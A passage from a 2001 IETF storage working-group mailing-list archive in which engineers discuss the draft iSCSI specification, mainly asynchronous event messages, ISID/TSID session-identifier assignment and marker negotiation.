Parameter2 or Reserved | Parameter3 or Reserved | +---------------+---------------+---------------+---------------+ 44| Reserved | +---------------+---------------+---------------+---------------+ 48| Digests if any... | +---------------+---------------+---------------+---------------+ / DataSegment - Sense Data or iSCSI Event Data / +/ / +---------------+---------------+---------------+---------------+ Some Asynchronous Messages are strictly related to iSCSI while others are related to SCSI [SAM2]. Please note that StatSN counts this PDU as an acknowledgeable event, allowing initiator and target state synchronization. 1.1.1 AsyncEvent The codes used for iSCSI Asynchronous Messages (Events) are: 0 A SCSI Asynchronous Event is reported in the sense data. Sense Data that accompanies the report, in the data segment, identifies the condition. Sending of a SCSI Event (Asynchronous Event Notification in SCSI terminology) is controlled by a SCSI Control Mode Page bit. 1 Target requests Logout. This Async Message MUST be sent on the same connection as the one being requested to be logged out. Initiator MUST honor this request by issuing a Logout as early as possible, but no later than Parameter3 seconds. Initiator MUST send a Logout with a reason code of "Close the connection" to cleanly shutdown the connection. If the initiator does not Logout in Parameter3 seconds, the target should send an Async PDU with iSCSI event code "Dropped the connection" if possible, or simply terminate the transport connection. Parameter1 and Parameter2 are reserved. 2 Target indicates it will drop the connection. The Parameter1 field indicates on what CID the connection will dropped. The Parameter2 field indicates, in seconds, the minimum time to wait before attempting to reconnect. Parameter3 indicates the maximum time to reconnect and/or restart commands after the initial wait (Parameter2). If the initiator does not attempt to reconnect and/or restart the outstanding commands, within the time specified by Parameter3 or, if Parameter3 is 0, the target will terminate all outstanding commands on this connection, no other responses should be expected from the target for the outstanding commands on this connection. A value of 0 for Parameter2 indicates that reconnect can be attempted immediately. 3 Target indicates it will drop all the connections of this session. The Parameter2 field indicates, in seconds, the minimum time to wait before attempting to reconnect. The Parameter3 field indicates the maximum time to reconnect and restart commands after the initial wait (Parameter2). If the initiator does not attempt to reconnect within the time specified by Parameter 3 or, if Parameter 3 is 0, the session is terminated. In this case, the target will terminate all outstanding commands in this session; no other responses should be expected from the target for the outstanding commands in this session. A value of 0 for Parameter2 indicates that reconnect can be attempted immediately. 255 Vendor specific iSCSI Event - additional data MAY accompany the report. All other event codes are reserved. 1.1.2 Sense Data or iSCSI Event Data For a SCSI Event this is the data that accompanies the report, in the data segment, identifies the condition. For an iSCSI Event additional data that MAY accompany the report Mark Bakke @ece.cmu.edu on 07-09-2001 18:54:22 Please respond to Mark Bakke Sent by: owner-ips@ece.cmu.edu To: Julian Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu Subject: Re: iSCSI: Async events - SCSI and iSCSI Julian- I'd like to see them separate for two reasons: - iSCSI and SCSI-level events are typically orthogonal, so they probably won't usually end up being combined anyway. It would be simpler for both the target and the initiator to not attempt to combine them. - Since the SCSI-level events use the data portion of the message for sense data, that leave iSCSI events without any way to send data of their own if there is a possibility of combining the two. By keeping them separate, iSCSI could use the data portion for text keys. In fact, Parameters 1, 2, and 3 might have been easier to describe had they been communicated using text keys; the processing of async messages is not a performance-critical thing anyway. That's about it. A target could send both in one message, but since the desire to do this is probably an end case (a small percentage of async messages might combine both), there's no reason why we can't just have the target send two messages, and we end up with a simpler, and for iSCSI events, more flexible, implementation for both the initiator and target. Anyway, I think that if we are going for a clear separation between SCSI and iSCSI events, that it's even clearer if they are always sent in separate messages. Thanks, Mark Julian Satran wrote: > > Mark, > > As far as I recall it is not by chance. When we decided to go for a clear > separation of SCSI and iSCSI events > I saw no reason why a target will not want to send both, if it had them, in > one message. > Is there something I am missing? Obviously this runs against your later > request for text async messages. > > Julo > > Mark Bakke @ece.cmu.edu on 05-09-2001 23:09:12 > > Please respond to Mark Bakke > > Sent by: owner-ips@ece.cmu.edu > > To: IPS > cc: > Subject: iSCSI: Async events - SCSI and iSCSI > > Julian- > > I was looking at Async Message some more, and noticed that there > is nothing to stop a target from sending a message that includes > both iSCSI and SCSI events, since each of these are communicated > with a different set of fields. I would guess that this is not > what is intended, and that the target ought to send one or the other. > > Can we add some text to say: > > A target may send this message as either a SCSI Event or an > iSCSI Event, but not both. Either the SCSI Event or iSCSI > Event field MUST be zero. > > -- > Mark A. Bakke > Cisco Systems > mbakke@cisco.com > 763.398.1054 -- Mark A. Bakke Cisco Systems mbakke@cisco.com 763.398.1054 From owner-ips@ece.cmu.edu Sat Sep 8 05:17:52 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA23820 for ; Sat, 8 Sep 2001 05:17:52 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f888CnV23108 for ips-outgoing; Sat, 8 Sep 2001 04:12:49 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f888CdP23099 for ; Sat, 8 Sep 2001 04:12:39 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id KAA74776 for ; Sat, 8 Sep 2001 10:12:32 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f888CV3109472 for ; Sat, 8 Sep 2001 10:12:31 +0200 Importance: Normal Subject: RE: iSCSI: ISIDs To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Sat, 8 Sep 2001 11:11:11 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.6 |December 14, 2000) at 08/09/2001 11:12:31 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Besides having the initiator remember the TSID the target will have to know when it can reuse a TSID. Although rather academic this is bound to cause problems as different parts of the target stack are in charge with reservations, port assignment etc. - and targets go through reboots too. The original intent of having the two parties each contribute a part over which it has exclusive control and generate together a "unique" sessionID was meant to solve both the unique allocation and reuse issue and splitting the space over several adapters did not seem a big price to pay. Julo Black_David@emc.com@ece.cmu.edu on 07-09-2001 16:48:17 Please respond to Black_David@emc.com Sent by: owner-ips@ece.cmu.edu To: rod.harrison@windriver.com, ips@ece.cmu.edu cc: Subject: RE: iSCSI: ISIDs Rod, > I don't see how having the target assign the ISID, and effectively > the whole SSID helps with the original problem of recovery from an > uncontrolled restart. In fact, I think it makes it worse. It helps with the following problem: When the initiating adapter/interface assigns the ISID, mistakes in assigning the ISID (inadvertently using the same ISID twice on two different interfaces) can cause sessions to step on each other when that was not the intended result. If there's no ISID, and TSID is dynamically assigned by the Target, this problem can't happen. Recovery from an uncontrolled restart wouldn't change in principle. In order to recover session resources (e.g., persistent reserves), the HBA had to remember the ISID - now it would have to remember the TSID. In practice, this may be an important difference - an HBA can "remember" the ISID(s) by always using the same ISID value(s), whereas the TSID(s) have to be stored after being provided by the target. > Without and initiator assigned ISID the target is presented with no > information with which to distinguish HBAs in a host. Assuming that > HBA 1 has an existing session, how can the target tell the difference > between HBA 2 sending a leading login with the intent of starting a > new session, and HBA 1 sending a leading login after an uncontrolled > restart? HBA 2 sends a TSID of zero, HBA 1 sends the TSID of the session it's trying to recover. Two HBAs are not necessary to create this scenario - it can occur with two sessions on a single HBA. If the HBA has forgotten the identity of the session it's trying to recover, that session is unrecoverable, but see above comment on differences in remembering an ISID vs. a TSID. Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- > -----Original Message----- > From: Rod Harrison [mailto:rod.harrison@windriver.com] > Sent: Friday, September 07, 2001 5:34 AM > To: Black_David@emc.com; ips@ece.cmu.edu > Subject: RE: iSCSI: ISIDs > > > > I don't see how having the target assign the ISID, and effectively > the whole SSID helps with the original problem of recovery from an > uncontrolled restart. In fact, I think it makes it worse. > > Without and initiator assigned ISID the target is > presented with no > information with which to distinguish HBAs in a host. Assuming that > HBA 1 has an existing session, how can the target tell the difference > between HBA 2 sending a leading login with the intent of starting a > new session, and HBA 1 sending a leading login after an uncontrolled > restart? > > - Rod > > -----Original Message----- > From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of > Black_David@emc.com > Sent: Thursday, September 06, 2001 10:40 PM > To: ips@ece.cmu.edu > Subject: iSCSI: ISIDs > > > Time to back up and regroup on this topic. It's clear that ISID > management needs more attention, and hence there are some issues > more basic than the attempted consensus call to work out. So, > I'm going to abandon the attempted consensus call, and try to > make progress on the underlying ISID issue. Those whose posts > have called ISID management into question should not feel it > necessary to apologize - this is an important issue to unscramble. > > A rough summary of where we find ourselves is: > - iSCSI Initiator Names span network interfaces/adapters, > as do iSCSI Target Names. > - Multiple sessions are allowed between an iSCSI Initiator > and Target. These are identified by an ISID and a > TSID. > - The ISID is the Initiator portion of the Session identifier > and is used to track certain resources associated with > the session (e.g., persistent reserves). > - The TSID is the Target portion of the Session identifier, > and serves primarily to make sure that all session > identifiers (SSID = ISID||TSID) are unique at the > Target. > > Michael Schoberg suggest getting rid of the ISID: > > > ISID - initiator-defined session-identifier > > > > Since initiators don't know about other initiators connected to this > target, > > this has the potential of causing problems. Eliminate it. The > initiator > > should simply state it's intentions of establishing a new session or > adding > > a connection to an existing session (via binary flags). > > The implication of this would be to make SSID = TSID, dynamically > assigned by the Target (0 is a reserved value on Login asking Target > to do this assignment), and partitioned appropriately across > interfaces. > Recoverable session resources would be associated with the combination > of at the iSCSI Target, and the initiator > tracks via - in both cases the TSID replaces > the ISID. From a functional standpoint, this looks like it works, > and has the nice additional property that session resources can be > recovered through any iSCSI Initiator interface vs. having to go back > to the one that's allowed to use the ISID for that session if ISIDs > are statically partitioned. > > Does this cause any problems for the SAM-2 to iSCSI mapping? > > Thanks, > --David > > --------------------------------------------------- > David L. Black, Senior Technologist > EMC Corporation, 42 South St., Hopkinton, MA 01748 > +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 > black_david@emc.com Mobile: +1 (978) 394-7754 > --------------------------------------------------- > From owner-ips@ece.cmu.edu Sat Sep 8 05:34:50 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA23951 for ; Sat, 8 Sep 2001 05:34:50 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f888ct224180 for ips-outgoing; Sat, 8 Sep 2001 04:38:55 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f888cqP24173 for ; Sat, 8 Sep 2001 04:38:52 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id KAA12418 for ; Sat, 8 Sep 2001 10:38:44 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f888chJ212156 for ; Sat, 8 Sep 2001 10:38:44 +0200 Importance: Normal Subject: RE: iSCSI: ISIDs To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Sat, 8 Sep 2001 11:37:57 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.6 |December 14, 2000) at 08/09/2001 11:38:43 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk There is no logical difference between the current split allocation scheme and having only the target allocate it (a port could be associated with anything) and the initiator could remember a SSID as well as a ISID. The major difference is "control". In the current scheme the initiator and target could independently allocate and reuse their parts. The target allocates only scheme leaves this to the target (it has to do garbage collection) under the assumption that the target (unlike the initiator) has a central point of control. Aren't targets going to have several HBA and have to carefully allocate their SSIDs? In the event an initiator wants to rebuild a session does he have to connect to the same HBA and thus a failover to another HBA can't be done. For all the above no to happen we have to add some management somewhere and it looks to me that the current scheme is simpler than a target centric one as it keeps the allocation and release of numbers at the same end. Julo Black_David@emc.com@ece.cmu.edu on 07-09-2001 20:48:22 Please respond to Black_David@emc.com Sent by: owner-ips@ece.cmu.edu To: Jim Hafner/Almaden/IBM@IBMUS, ips@ece.cmu.edu cc: Subject: RE: iSCSI: ISIDs > We have (so far) relied on the ISID (along with the iSCSI Name) for the > SCSI Initiator Port name (and identifier) and relied on the "iSCSI > initiator endpoint of the session" for the SCSI Initiator Port. The ISID > RULE (no reuse of ISID to a given target portal group -- and whose > enforcement rule we've been debating) was intended to prevent parallel > nexus from being created. > > If we abandon any notion of the initiator providing the ISID then we've > somehow lost our handle on what constitutes the SCSI > Initiator Port. Let me take a whack at preserving something approximating the existing situation. Starting from your option c): > c) use the model we now use (SCSI Initiator Port = initiator end of > session) but find something other than the ISID to define the SCSI Port > Name. The only choice seems to be the SSID (=TSID). This might work more > or less as David outlined. It's a little odd, however, that the target is > now *assigning* an identifier/name to the SCSI Initiator Port; that is, the > SCSI Initiator Port doesn't have a name 'all to itself', but only in the > context of a target. Do we actually need an externally visible identifier for the SCSI Initiator Port? There's clearly a session endpoint on the Initiator side that corresponds to the , and the implementation is clearly able to identify it internally to keep its sessions straight, and this identification will be (at least implicitly) visible through a management interface that looks at all the open sessions on a host or device. In essence, I'm suggesting keeping the current mapping, but allowing part of the endpoint identifier to not be visible in the protocol. --David > -----Original Message----- > From: Jim Hafner [mailto:hafner@almaden.ibm.com] > Sent: Friday, September 07, 2001 11:47 AM > To: ips@ece.cmu.edu > Subject: Re: iSCSI: ISIDs > > > > David, > > I've been mulling over your question concerning how Michael's proposal > (which I read as removing the ISID from the SSID and leaving > it up to the > target to assign the SSID) affects the SAM-2 mapping. I > don't have a good > answer. So, I'm going to brain dump here. > > We have (so far) relied on the ISID (along with the iSCSI > Name) for the > SCSI Initiator Port name (and identifier) and relied on the "iSCSI > initiator endpoint of the session" for the SCSI Initiator > Port. The ISID > RULE (no reuse of ISID to a given target portal group -- and whose > enforcement rule we've been debating) was intended to prevent parallel > nexus from being created. > > If we abandon any notion of the initiator providing the ISID > then we've > somehow lost our handle on what constitutes the SCSI > Initiator Port. We > effectively have to go back to square one to sort out the > initiator side of > the model mapping. I think we all pretty much agree that the > iSCSI Node > and the SCSI Device are intimately bound together. Our > choice for SCSI > Initiator Port come down to three > possibilities (as they always have): > > a) view all iSCSI-type SCSI Initiator Devices as being single (SCSI) > -ported. Then the SCSI Initiator Port can be identified by > the iSCSI Name. > There are similarities between this and a single ported FC HBA. Our > problem is then the parallel nexus issue. We need a rule > that says that we > can't have more than one session between a given iSCSI > Initiator and iSCSI > Target Portal Group; and we need to define the target's response to a > second such login. In effect, we've doubled our problems. > We have limited > our connectivity possibilities between a given iSCSI Initiator (max > sessions = number of target portal groups) and we still have > a 'rejection' > rule to decide (option A or option B). > > b) use the model we have for the target; namely, map the > iSCSI Initiator > Portal Group to a SCSI Initiator Port. With this, we get a > SCSI Initiator > Port name equal to the iSCSI Name + portal group tag. So far > so good. But > we are limited to one session per (initiator portal group, > target portal > group tag). This has similarities to a multi-HBA FC host. > We again limit > (to a lesser extent) our > connectivity possibilities: max sessions = (number of initiator portal > groups x number of target port groups). [In spite of the > simplicity of > this model which is independent of session identifiers, I > didn't pick this > because people felt that there was a legitimate reason to > build multiple > sessions between two portal groups (e.g., in the case where > both initiator > and target have only one HBA (so one portal group) and the > target doesn't > support more than one connection per session, I may want to > build multiple > sessions for extra parallelism, etc.).] > > c) use the model we now use (SCSI Initiator Port = initiator end of > session) but find something other than the ISID to define the > SCSI Port > Name. The only choice seems to be the SSID (=TSID). This > might work more > or less as David outlined. It's a little odd, however, that > the target is > now *assigning* an identifier/name to the SCSI Initiator > Port; that is, the > SCSI Initiator Port doesn't have a name 'all to itself', but > only in the > context of a target. The mind sort of boggles with this (and > it certain > stretches the credibility of the SAM-2 model of SCSI > Initiator Port, Port > Name and Port Identifier). We could instead pick for the SCSI > Initiator > Port Name/identifier the > union of the ipaddresses:tcpports of all the connections > involved in that > session, but I don't think that really gains us anything. > > In short, I don't know what approach to take here. > > We are effectively being constrained by SAM-2's model. We've already > stretched that model a lot by what's currently in the draft. > Summarizing > above, we can either limit our functionality (fewer sessions) > or stretch > the model further by having the target assign names to SCSI Initiator > Ports. > > It's not a good place to be. > > Jim Hafner > > > Black_David@emc.com@ece.cmu.edu on 09/06/2001 02:40:19 pm > > Sent by: owner-ips@ece.cmu.edu > > > To: ips@ece.cmu.edu > cc: > Subject: iSCSI: ISIDs > > > > Time to back up and regroup on this topic. It's clear that ISID > management needs more attention, and hence there are some issues > more basic than the attempted consensus call to work out. So, > I'm going to abandon the attempted consensus call, and try to > make progress on the underlying ISID issue. Those whose posts > have called ISID management into question should not feel it > necessary to apologize - this is an important issue to unscramble. > > A rough summary of where we find ourselves is: > - iSCSI Initiator Names span network interfaces/adapters, > as do iSCSI Target Names. > - Multiple sessions are allowed between an iSCSI Initiator > and Target. These are identified by an ISID and a > TSID. > - The ISID is the Initiator portion of the Session identifier > and is used to track certain resources associated with > the session (e.g., persistent reserves). > - The TSID is the Target portion of the Session identifier, > and serves primarily to make sure that all session > identifiers (SSID = ISID||TSID) are unique at the > Target. > > Michael Schoberg suggest getting rid of the ISID: > > > ISID - initiator-defined session-identifier > > > > Since initiators don't know about other initiators connected to this > target, > > this has the potential of causing problems. Eliminate it. > The initiator > > should simply state it's intentions of establishing a new session or > adding > > a connection to an existing session (via binary flags). > > The implication of this would be to make SSID = TSID, dynamically > assigned by the Target (0 is a reserved value on Login asking Target > to do this assignment), and partitioned appropriately across > interfaces. > Recoverable session resources would be associated with the combination > of at the iSCSI Target, and the initiator > tracks via - in both cases the TSID replaces > the ISID. From a functional standpoint, this looks like it works, > and has the nice additional property that session resources can be > recovered through any iSCSI Initiator interface vs. having to go back > to the one that's allowed to use the ISID for that session if ISIDs > are statically partitioned. > > Does this cause any problems for the SAM-2 to iSCSI mapping? > > Thanks, > --David > > --------------------------------------------------- > David L. Black, Senior Technologist > EMC Corporation, 42 South St., Hopkinton, MA 01748 > +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 > black_david@emc.com Mobile: +1 (978) 394-7754 > --------------------------------------------------- > > > > > From owner-ips@ece.cmu.edu Sat Sep 8 05:54:20 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA24072 for ; Sat, 8 Sep 2001 05:54:20 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f888xDF24944 for ips-outgoing; Sat, 8 Sep 2001 04:59:13 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f888xBP24937 for ; Sat, 8 Sep 2001 04:59:11 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id KAA17396; Sat, 8 Sep 2001 10:59:03 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f888x3J157046; Sat, 8 Sep 2001 10:59:03 +0200 Importance: Normal Subject: Re: Marker negotiation To: "Barry Reinhold" Cc: "ISCSI" X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Sat, 8 Sep 2001 11:58:18 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.6 |December 14, 2000) at 08/09/2001 11:59:03 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Barry, I was not aware that we allow ranges - only individual values. The range in the examples are there to indicate a possible range for the value and for each key there is a selection rule (usually the lower or higher). Julo "Barry Reinhold" on 06-09-2001 19:43:54 Please respond to "Barry Reinhold" To: Julian Satran/Haifa/IBM@IBMIL cc: "ISCSI" Subject: Marker negotiation Julain, If doing a numerical negotiation - such as for marker intervals - if a range is offered that is not liked what is the responder expected to do? Numerical negotiations don't allow for selection of values out of range. Example: I -> FMarker=send-receive T -> FMarker=send-receive I -> RFMarkint=1,12 T -> doesn't want anything below 1024. What does he do? Barry Reinhold Principal Architect Trebia Networks barry.reinhold@trebia.com 603-868-5144/603-659-0885/978-929-0830 x138 From owner-ips@ece.cmu.edu Sat Sep 8 07:45:38 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA24890 for ; Sat, 8 Sep 2001 07:45:37 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f88AOKh08956 for ips-outgoing; Sat, 8 Sep 2001 06:24:20 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f88AOGP08950 for ; Sat, 8 Sep 2001 06:24:17 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id MAA37446 for ; Sat, 8 Sep 2001 12:24:10 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f88AO9J161802 for ; Sat, 8 Sep 2001 12:24:09 +0200 Importance: Normal Subject: RE: iSCSI:Target Centric ISID assignments To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Sat, 8 Sep 2001 13:21:31 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 08/09/2001 13:24:09 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Blowing away or not is again with us. A careless guy will set always the blow-away bit. You have just moved the management responsibility to the target under the assumption that the target is "monolithic". But, as you well know, this is not true for many targets. You have to have an allocation scheme at target and a garbage collection. I suggest we give this to the ND team and let them debate for a while before getting back to us. We may want to have them look at all aspects of SSID allocation and use. Julo Black_David@emc.com@ece.cmu.edu on 08-09-2001 00:46:21 Please respond to Black_David@emc.com Sent by: owner-ips@ece.cmu.edu To: John Hufferd/San Jose/IBM@IBMUS, ips@ece.cmu.edu cc: Subject: RE: iSCSI:Target Centric ISID assignments John's description is actually over-complicated because: - The ISID either goes away or becomes a Target portal group number. - The session recovery mechanism that he portrays as added complexity already exists and isn't affected by presence or absence of the ISID. It doesn't seem to be well-documented in -07. Partitioning the TSID into Target Portal Group + ID within group makes it easy to figure out where to go to recover or blow away a session. Whether or not the Target Portal Group is used doesn't matter to the following description - the ISID vanishes from John's description, making things simpler, viz.: First Login: 1. Initiator contacts the target with TSID of zero. 2. Target assigns the SSID by filling in the TSID. 3. Initiator remembers the SSID=TSID somehow. 4. If a parallel Session is established (perhaps under a wedge driver) the same thing will happen -- Initiator sends TSID=0, and the Target will assign a different TSID, since it is keeping state on the TSIDs it has handed out to a specific iSCSI Initiator Node. This will be a different NEXUS not associated with any other session on that iSCSI Initiator Node. Note that the target has the option of keeping TSID state globally, so that TSID values are unique within a Target or a Target portal group. This is the Target implementer's choice, and can simplify session lookup. This particular comment applies independent of ISID removal, but is the reason why I mentioned the idea of expanding the TSID, as I can foresee problems with a 16 bit counter, but not with 24 or 32 bits. 5. If a Multiple Connection per Session was established, the NON leading connection will have the TSID filled in, and things will continue as currently documented. 6. If the Initiator goes down, and the parallel sessions need to re-establish the NEXUS they supply the TSID. 6a. If they don't have the original TSID, they send TSID=0, and the Target will establish a new session. The NEXUS that might have the Persistent Reserves is still bound to the previous Session. 6b. If the New session wants to keep working with the old Persistent Reserves, it needs explicitly blow-away the Reserves and Reclaim them (per normal) using the Persistent Reserves Command Set. 6c. If the TSID had been saved by the Initiator, and a logon is reissued, it can specify the TSID, and the Target should then know that a new session is starting. The target should match the TSID with any outstanding session it has. That is, the Target should either match it up the TSID with an old session (in some way), and continue, or it should Blow the OLD session away. David suggested a "Blow it away Bit". (This sounds like option A and B all over again.) Whether or not to have a "Blow it away Bit" vs. implicitly blowing away the old session vs. failing the login is Option A/B/C all over again. The X bit already has meaning in this context (for the 6c case the X bit has to be zero in this case because 6d uses it), and hence can't be reused here. It's now considerably safer to blow away old connections because a non-zero TSID only occurs on login when there was a previous session with that TSID and some sort of error recovery or action on that previous session is intended. All the scenarios in which a "wrong" ISID causes a session to be blown away incorrectly can't happen because the Initiator doesn't pick ISID values. 6d. If the ISID was saved but it took so long that the Target's session cleanup process, had thrown away the Old session, the Login just continues as it does today. The Initiator Session can determine if the session continued, and it has it previous reserves, or if a new session was created without the Reserves. Actual recovery and continuation of the session has to set the X bit. If X is set on a Login command, and there's no existing session to log into, then the Login has to fail in some fashion - I'm not sure that's documented at the moment, and I think it needs to be regardless of the course we take. So the Option here is to return an error message if there is no existing session. The Initiator will then need to understand this and somehow cause the reserves to be issued again. (Folks will say, that is what they do anyway so they will always do that, so don't worry about it.) (John's Comment: This is now starting to get complicated again.) Correct, but not relevant. This set of complications exists regardless of what we do about the ISID as they're inherent in the session case of Error Recovery and the use of the X-bit on Login. This is an existing session recovery mechanism, not something that gets added as a consequence of ISID removal. > 7. In the case that the Initiator has "lost its way" and want to start again, the initiator will Login with TSID=0. This is exactly case 6a above. John's case 7a can't happen. > OK, after looking at the above. It seems to me that we can have this > assignment of ISID by the Target System. (It is kind of acting like a third > party ISID assigner.) The rest of the documentation should be the same. Well, actually, it's simpler to get rid of the ISID and just use the TSID. For reasons that Jim Hafner can probably explain better than I can, using the ISID field to hold the Target portal group number on login helps tidy up some issues in that area (and it also makes it easy for an Initiator trying to recover or destroy an existing session to figure out exactly which target interfaces will know about that session vs. be clueless). > The issue of Option A or B is still with us. However, the issue of the > Rouge Initiator, that can not find its approprate ISID is solved. (Don't > you just love the emotive way I put that.) Keep in mind that the Rogue Initiator sure looks like a valid technical objection to the Option A that seems to be otherwise favored in list discussion. > Also the assignment of ISIDs is made easier for some implementations. > (However, the approach suggested by Jim Hafner seems simple enough.) It's certainly simple logic. The problem is that ISID assignment has to be coordinated across all interfaces on a single Initiator - between code from different vendors, administrative tools, and interaction with logic in the OS platform that may be trying to coordinate ISID assignment, there are many opportunities to get things wrong. If this doesn't scare you, John's notion of having to coordinate ISID assignment across all systems in a cluster because they share a common iSCSI Initiator Name should. FWIW, if the cluster example wants to recover session state (e.g., persistent reserves) across host system failures, it needs dynamic fault-tolerant ISID assignment across the entire cluster (that should really scare you) or elimination of ISIDs and ISID assignment (which is much simpler ;-) ). Thanks, --David > -----Original Message----- > From: John Hufferd [mailto:hufferd@us.ibm.com] > Sent: Friday, September 07, 2001 4:54 PM > To: ips@ece.cmu.edu > Subject: > > > Let me see if I have everything together in the following > regarding the > TSID centric assignment of ISID. > > First Login: > 1. Initiator contacts the target with TSID of zero, and ISID of zero > 2. Target assigns the SSID by filling in the ISID and its own TSID. > 3. Initiator remembers the ISID somehow. > 4. If a parallel Session is establish (perhaps under a wedge > driver) the > same thing will happen -- Initiator sends TSID=0 and ISID=0, > except the > Target will assign a different ISID, since it is keeping > state on the ISIDs > it has handed out to a specific iSCSI Initiator Node. This will be a > different NEXUS not associated with any other session on that iSCSI > Initiator Node. > 5. If a Multiple Connection per Session was established, the > NON leading > connection will have the SSID (with TSID and ISID filled in), > and things > will continue as currently documented. > 6. If the Initiator goes down, and the parallel sessions need to > re-establish the NEXUS they come back with the TSID but may > or may not have > the approprate ISID (if they did not have a way to save it). > 6a. If no ISID was used in the Initiator Login, the Target will > re-establish a new session. The NEXUS that might have the Persistent > Reserves is still bound to the previous Session. > 6b. If the New session wants to keep working with the old Persistent > Reserves, it needs explicitly blow-away the Reserves and > Reclaim them (per > normal) using the Persistent Reserves Command Set. > 6c. If the ISID had been saved by the Initiator, and a logon > is reissued, > it can specify the ISID, and NO TSID, and the Target should > then know that > a new session is starting. The target should match the ISID with any > outstanding session it has. That is, the Target should > either match it up > the ISID with an old session (in some way), and continue, or > it should Blow > the OLD session away. David suggested a "Blow it away Bit". > (This sounds > like option A and B all over again.) > 6d. If the ISID was saved but it took so long that the > Target's session > cleanup process, had thrown away the Old session, the Login > just continues > as it does today. The Initiator Session can not really > determine if the > session continued, and it has it previous reserves, or if a > new session was > created without the Reserves. (Potential hitch.) So the > Option here is to > return an error message if there is no existing session. The > Initiator > will then need to understand this and somehow cause the reserves to be > issued again. (Folks will say, that is what they do anyway > so they will > always do that, so don't worry about it.) > (Comment: This is now starting to get complicated again.) > 7. In the case that the Initiator has "lost its way" and want to start > again, the initiator will Login with either the current > ISID, and TSID =0 > or with both =0. > 7a. Using the current ISID should cause the Initiator to > handle it like 6c > above. (Again, it sounds like the A, and B options). > 7b. If both ISID and TSID are zero, it looks like 6a above. > > OK, after looking at the above. It seems to me 